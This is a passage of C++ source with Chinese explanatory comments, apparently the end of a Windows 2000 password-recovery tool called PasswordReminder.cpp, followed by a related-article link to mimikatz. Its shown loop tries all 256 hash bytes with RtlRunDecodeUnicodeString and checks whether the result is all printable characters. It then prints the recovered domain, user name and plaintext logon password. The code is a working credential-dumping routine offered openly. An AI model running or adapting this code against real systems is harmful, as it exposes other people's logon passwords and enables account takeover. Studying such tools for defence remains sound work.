    // 这个算法实际上是从概率角度来解码的 
    // 因为如果hash-byte不对而解密出来的密码都是可见字符的概率非常小 
    for (i = 0; i <= 0xff; i++) 
    { 
        CopyMemory 
            (EncodedString.Buffer, 
            PasswordP, 
            PasswordLength * sizeof (wchar_t)); 
        // Finally - try to decode the password. 
        // 使用i作为hash-byte对密文进行解码 
        pfnRtlRunDecodeUnicodeString 
            ((BYTE) i, 
            &EncodedString); 
        // Check for a viewable password. 
        // 检查解码出的密码是否完全由可见字符组成 
        // 如果是则认为是正确的解码 
        PBYTE p = (PBYTE) EncodedString.Buffer; 
        BOOL Viewable = TRUE; 
        DWORD j, k; 
        for (j = 0; (j < PasswordLength) && Viewable; j++) 
        { 
            if ((*p) 
                    && 
                (* (PBYTE)(DWORD (p) + 1) == 0)) 
            { 
                if (*p < 0x20) 
                    Viewable = FALSE; 
                if (*p > 0x7e) 
                    Viewable = FALSE; 
                //0x20是空格,0X7E是~,所有密码允许使用的可见字符都包括在里面了 
            } 
            else 
                Viewable = FALSE; 
            k = DWORD (p); 
            k++; k++; 
            p = (PBYTE) k; 
        } 
        if (Viewable) 
        { 
            printf 
                ("The logon information is: %S/%S/%S.\n", 
                UserDomain, 
                UserName, 
                EncodedString.Buffer); 
            printf 
                ("The hash byte is: 0x%2.2x.\n", 
                i); 
        } 
    } 
    HeapFree 
        (GetProcessHeap (), 
        0, 
        EncodedString.Buffer); 
} // DisplayPasswordWin2K 

// end PasswordReminder.cpp 


你可能感兴趣的:(轻量级调试器神器 - mimikatz)